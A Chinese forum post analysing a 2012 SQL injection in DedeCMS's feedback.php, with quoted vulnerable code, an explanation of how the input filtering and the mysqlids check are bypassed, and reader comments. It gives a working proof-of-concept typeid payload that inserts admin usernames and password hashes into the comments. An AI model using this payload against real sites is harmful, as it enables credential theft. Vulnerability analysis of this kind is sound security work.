最近dede注入漏洞分析
这个分析是我根据90sec论坛上花若相惜分析的基础上,自己另外分析的,加了一些自己的分析,和他没有细讲的内容,和原文不太一样。
0x01 简述
2012年10月30日一个名为cyg07的白帽子向乌云提交了这个注入漏洞。可以导致注入的原因是$typeid变量没有做任何校验,便插入进了SQL语句,导致攻击者可以将查询内容插入进评论位置。
Dedecms所有版本均受影响,官方已经发布了针对这个漏洞的补丁。漏洞在乌云报告地址为http://www.wooyun.org/bugs/wooyun-2010-014076。
0x02 分析
漏洞出现在plus\feedback.php文件中,关键代码如下:$typeid为用户可控变量,且在插入SQL语句前未进行任何校验,导致攻击者可以将自己构建的SQL语句插入到原有语句中。但是在文件开头包含如下内容:在common.inc.php中会对所有request内容进行转义,代码如下:但是在后面的filter.inc.php文件中有如下代码:这段代码的目的是为了过滤一些敏感名词,但是在红色代码段对GET,POST,COOKIE变量进行了重新注册,导致绕过了之前的转义过滤。提交带有typeid=1’的数据包到feedback.php,将SQL语句打印出来,效果如下:
所以在这个页面攻击者可以提交带有单引号的语句来对原有SQL语句进行封闭,但是由于dedecms封装了80sec开发的mysqlids,校验SQL语句中的内容。判断SQL语句中是否存在union,sleep,load_file,子查询等攻击者可能会用到的SQL语句。下面来看下mysqlids校验文件的代码片段:这段代码中将SQL语句中,单引号中所包含的内容视为可信的,用$s$代替,然后会在后面校验重新组合的SQL语句,查看其中是否有非法的查询语句。但是在校验内容中,未过滤mysql的定义用户变量的关键字@和关键字封闭字符“`”(反引号)。
这将导致攻击者可以通过这个方法在不引起mysql语法错误的情况下,构造两个单引号,这两个带引号之间的内容为恶意的SQL语句,凭此来绕过mysqlids的检测。
0x03 验证
这个漏洞的能够实现利用的前提是GPC关闭,利用PoC如下:这段PoC插入到提交表单中,提交到目标的SQL语句就变成了:原SQL语句多了一条插入内容,msg字段的内容变为dede数据库中管理员表的用户名和密码。
实施效果如下:
管理员的用户名和密码都插入到了评论列表中了。
0x01 简述
2012年10月30日一个名为cyg07的白帽子向乌云提交了这个注入漏洞。可以导致注入的原因是$typeid变量没有做任何校验,便插入进了SQL语句,导致攻击者可以将查询内容插入进评论位置。
Dedecms所有版本均受影响,官方已经发布了针对这个漏洞的补丁。漏洞在乌云报告地址为http://www.wooyun.org/bugs/wooyun-2010-014076。
0x02 分析
漏洞出现在plus\feedback.php文件中,关键代码如下:
...
if($comtype == 'comments')
{
$arctitle = addslashes($title);
if($msg!='')
{//$typeid变量未做初始化
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
echo $inquery;//调试,输出查询语句
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 发表评论错误! ', '-1');
//echo $dsql->GetError();
exit();
}
}
}
…
}
require_once(dirname(__FILE__)."/../include/common.inc.php");
if($cfg_feedback_forbid=='Y') exit('系统已经禁止评论功能!');
require_once(DEDEINC."/filter.inc.php");
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}
…..
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}
….
function _FilterAll($fk, &$svar)
{
global $cfg_notallowstr,$cfg_replacestr;
if( is_array($svar) )
{
foreach($svar as $_k => $_v)
{
$svar[$_k] = _FilterAll($fk,$_v);
}
}
else
{
if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
{
ShowMsg(" $fk has not allow words!",'-1');
exit();
}
if($cfg_replacestr!='')
{
$svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
}
}
return $svar;
}
/* 对_GET,_POST,_COOKIE进行过滤 */
[color=Red]foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
${$_k} = _FilterAll($_k,$_v);
}
}[/color]
所以在这个页面攻击者可以提交带有单引号的语句来对原有SQL语句进行封闭,但是由于dedecms封装了80sec开发的mysqlids,校验SQL语句中的内容。判断SQL语句中是否存在union,sleep,load_file,子查询等攻击者可能会用到的SQL语句。下面来看下mysqlids校验文件的代码片段:
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
这将导致攻击者可以通过这个方法在不引起mysql语法错误的情况下,构造两个单引号,这两个带引号之间的内容为恶意的SQL语句,凭此来绕过mysqlids的检测。
0x03 验证
这个漏洞的能够实现利用的前提是GPC关闭,利用PoC如下:
typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `#@__admin`)),(1,’1111
INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','123’,@`’`,0x11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `#@__admin`)),(1,’1111','游客','paxmac','127.0.0.1','1','1351774092', '0','0','0','feedback','0','sss');
实施效果如下:
管理员的用户名和密码都插入到了评论列表中了。
评论22次
学xi了
分析的不错 新人好多哦
这个不错哦
好东西。
不是太理解
好像很多DEDE 的程序都关闭掉评论这个模块了
这个最近很多站都被入侵了,但是现在织梦不改后台的已经相当的少了
好久没上来学xi了 好文章!!
写的很详细 研究学xi一下
很好很强大!!!
先顶一下,向楼主致敬啊,向奋斗在一线挖洞的大牛说声辛苦了; dede这样的洞洞好像历来都很多,不是插马,就是被注入,然后输出在留言版上!
听君一xi话,胜搞十天站 不过,最后一句没太理解
好久就看了 ,一直没时间发。dede v5.7 sp1版本吧,哈哈。
为什么DEDE过一段时间就有注入漏洞,相反DZ却很少出现漏洞
这思路,牛人
2阶注入..... 当年发现 dz的二阶SQL注入的时候 就开始加入黑盒 去暴力挖掘了 结果悲剧收场 新浪好像有一个评论那里插入了个sql执行了 sql2005的调用cmdshell威胁还是满大的 分析还算全面,主要是储存 与构造执行方面才是这类攻击需要分析的重点 能放到技术讨论那里就最好了 类似的漏洞应该有很多 但不易被察觉 因为有时代码可能执行了但没有回显就很难判断 2010-11年有文章 分析了一下二阶注入的挖掘部分但是没有从代码角度分析只是测试方法 如何快速代码审计分析找到这样的漏洞才是根本~\(≧▽≦)/~啦啦啦 so lz提供了一个良好的素材 然后组建数学模型 大量的数据总能解决的
在哪里看过此文,眼熟,呵呵
分析的不错 加油楼主
分析的很透彻 学xi了 原来在插入的时候还利用到了查询 牛人越来越多啊
等一段时间吧,鬼哥不太想那个洞被人都知道